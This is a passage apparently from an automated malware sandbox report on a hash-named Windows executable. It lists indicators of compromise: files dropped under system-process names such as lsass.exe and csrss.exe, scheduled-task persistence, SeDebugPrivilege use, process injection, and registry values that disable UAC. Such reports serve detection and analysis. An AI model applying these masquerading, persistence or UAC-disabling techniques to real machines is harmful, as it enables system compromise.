File opened for modification	C:\Program Files (x86)\Google\Temp\RuntimeBroker.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Microsoft.NET\RedistList\dllhost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Common Files\Java\Java Update\RCXAE11.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\5b884080fd4f94	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Windows Mail\RCXB025.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RCXB239.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\29c1c3cc0f7685	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Internet Explorer\it-IT\RuntimeBroker.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Internet Explorer\it-IT\9e8d7a4ca61bd9	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\TextInputHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\ee2ad38f3d4382	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Windows Sidebar\sihost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\22eafd247d37c3	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Mail\spoolsv.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Mail\f3b6ecef712a24	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Common Files\DESIGNER\0a1fd5f707cd16	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Sidebar\66fc9ff0ee96c2	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Google\Temp\RuntimeBroker.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Google\Temp\9e8d7a4ca61bd9	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\dllhost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Defender\SearchApp.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Defender\fr-FR\6203df4a6bafc7	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Microsoft Office 15\ClientX64\Registry.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\lsass.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\RCXAB8F.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\Registry.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Common Files\Java\Java Update\OfficeClickToRun.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Common Files\Java\Java Update\OfficeClickToRun.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Common Files\DESIGNER\sppsvc.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Common Files\DESIGNER\sppsvc.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\WindowsApps\taskhostw.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Portable Devices\22eafd247d37c3	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Defender\fr-FR\lsass.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Portable Devices\TextInputHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Common Files\Java\Java Update\e6c9b481da804f	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Containers\886983d96e3d3e	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\Containers\csrss.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\Panther\actionqueue\lsass.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\Downloaded Program Files\StartMenuExperienceHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\Downloaded Program Files\55b276f4edf653	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\PolicyDefinitions\spoolsv.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\RCX9609.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Registry.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\Containers\RCX9C84.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\Downloaded Program Files\StartMenuExperienceHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\bcastdvr\sppsvc.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\bcastdvr\0a1fd5f707cd16	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Registry.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\Containers\csrss.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\PolicyDefinitions\spoolsv.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\PolicyDefinitions\f3b6ecef712a24	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Windows\bcastdvr\sppsvc.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\Panther\actionqueue\6203df4a6bafc7	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\ee2ad38f3d4382	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Windows\Panther\actionqueue\lsass.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp771F.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpEAC.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp3EA5.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpA85C.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp2824.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp8C0A.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp2824.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpAAE1.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp3EA5.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp6E7F.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp93A6.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp93A6.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpD8BC.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp9FE.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp58BA.tmp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpDBC5.tmp.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	lsass.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3728	schtasks.exe
2568	schtasks.exe
1940	schtasks.exe
540	schtasks.exe
772	schtasks.exe
2880	schtasks.exe
3460	schtasks.exe
4804	schtasks.exe
4784	schtasks.exe
3444	schtasks.exe
4028	schtasks.exe
1128	schtasks.exe
5108	schtasks.exe
1996	schtasks.exe
4612	schtasks.exe
3048	schtasks.exe
3480	schtasks.exe
2776	schtasks.exe
4464	schtasks.exe
2488	schtasks.exe
4332	schtasks.exe
1840	schtasks.exe
1408	schtasks.exe
2028	schtasks.exe
380	schtasks.exe
2460	schtasks.exe
1524	schtasks.exe
2344	schtasks.exe
4872	schtasks.exe
3644	schtasks.exe
4568	schtasks.exe
1784	schtasks.exe
3920	schtasks.exe
2192	schtasks.exe
3552	schtasks.exe
2140	schtasks.exe
1684	schtasks.exe
5076	schtasks.exe
4860	schtasks.exe
4712	schtasks.exe
2988	schtasks.exe
2456	schtasks.exe
1036	schtasks.exe
432	schtasks.exe
316	schtasks.exe
4960	schtasks.exe
3716	schtasks.exe
400	schtasks.exe
4136	schtasks.exe
4808	schtasks.exe
4936	schtasks.exe
4816	schtasks.exe
3124	schtasks.exe
1480	schtasks.exe
3508	schtasks.exe
4456	schtasks.exe
4720	schtasks.exe
4260	schtasks.exe
4460	schtasks.exe
3248	schtasks.exe
1440	schtasks.exe
4328	schtasks.exe
4264	schtasks.exe
1792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
4616	powershell.exe
4616	powershell.exe
2748	powershell.exe
2748	powershell.exe
3460	powershell.exe
3460	powershell.exe
976	powershell.exe
976	powershell.exe
3732	powershell.exe
3732	powershell.exe
4568	powershell.exe
4568	powershell.exe
540	powershell.exe
540	powershell.exe
3608	powershell.exe
3608	powershell.exe
5076	powershell.exe
5076	powershell.exe
2488	powershell.exe
2488	powershell.exe
3460	powershell.exe
540	powershell.exe
2848	powershell.exe
2848	powershell.exe
4616	powershell.exe
4616	powershell.exe
2488	powershell.exe
976	powershell.exe
976	powershell.exe
4568	powershell.exe
3732	powershell.exe
3732	powershell.exe
2748	powershell.exe
2748	powershell.exe
3608	powershell.exe
5076	powershell.exe
2848	powershell.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	1904	lsass.exe
Token: SeDebugPrivilege	1260	lsass.exe
Token: SeDebugPrivilege	4176	lsass.exe
Token: SeDebugPrivilege	1932	lsass.exe
Token: SeDebugPrivilege	3716	lsass.exe
Token: SeDebugPrivilege	4284	lsass.exe
Token: SeDebugPrivilege	452	lsass.exe
Token: SeDebugPrivilege	1880	lsass.exe
Token: SeDebugPrivilege	3728	lsass.exe
Token: SeDebugPrivilege	4944	lsass.exe
Token: SeDebugPrivilege	4988	lsass.exe
Token: SeDebugPrivilege	2028	lsass.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 2316	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	129
PID 4640 wrote to memory of 2316	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	129
PID 4640 wrote to memory of 2316	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	129
PID 2316 wrote to memory of 3788	2316	tmp93A6.tmp.exe	131
PID 2316 wrote to memory of 3788	2316	tmp93A6.tmp.exe	131
PID 2316 wrote to memory of 3788	2316	tmp93A6.tmp.exe	131
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 3788 wrote to memory of 3452	3788	tmp93A6.tmp.exe	132
PID 4640 wrote to memory of 2848	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	141
PID 4640 wrote to memory of 2848	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	141
PID 4640 wrote to memory of 4616	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	142
PID 4640 wrote to memory of 4616	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	142
PID 4640 wrote to memory of 3732	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	143
PID 4640 wrote to memory of 3732	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	143
PID 4640 wrote to memory of 4568	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	144
PID 4640 wrote to memory of 4568	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	144
PID 4640 wrote to memory of 976	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	145
PID 4640 wrote to memory of 976	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	145
PID 4640 wrote to memory of 540	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	146
PID 4640 wrote to memory of 540	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	146
PID 4640 wrote to memory of 3460	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	147
PID 4640 wrote to memory of 3460	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	147
PID 4640 wrote to memory of 2488	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	148
PID 4640 wrote to memory of 2488	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	148
PID 4640 wrote to memory of 2748	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	149
PID 4640 wrote to memory of 2748	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	149
PID 4640 wrote to memory of 5076	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	150
PID 4640 wrote to memory of 5076	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	150
PID 4640 wrote to memory of 3608	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	151
PID 4640 wrote to memory of 3608	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	151
PID 4640 wrote to memory of 4576	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	162
PID 4640 wrote to memory of 4576	4640	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	162
PID 4576 wrote to memory of 4268	4576	cmd.exe	168
PID 4576 wrote to memory of 4268	4576	cmd.exe	168
PID 4576 wrote to memory of 3152	4576	cmd.exe	170
PID 4576 wrote to memory of 3152	4576	cmd.exe	170
PID 3152 wrote to memory of 1904	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	219
PID 3152 wrote to memory of 1904	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	219
PID 3152 wrote to memory of 1904	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	219
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 1904 wrote to memory of 2808	1904	tmpD8BC.tmp.exe	221
PID 3152 wrote to memory of 2132	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	223
PID 3152 wrote to memory of 2132	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	223
PID 3152 wrote to memory of 1732	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	224
PID 3152 wrote to memory of 1732	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	224
PID 3152 wrote to memory of 2604	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	225
PID 3152 wrote to memory of 2604	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	225
PID 3152 wrote to memory of 716	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	226
PID 3152 wrote to memory of 716	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	226
PID 3152 wrote to memory of 1800	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	228
PID 3152 wrote to memory of 1800	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	228
PID 3152 wrote to memory of 1056	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	229
PID 3152 wrote to memory of 1056	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	229
PID 3152 wrote to memory of 4692	3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe	231

System policy modification 1 TTPs 42 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
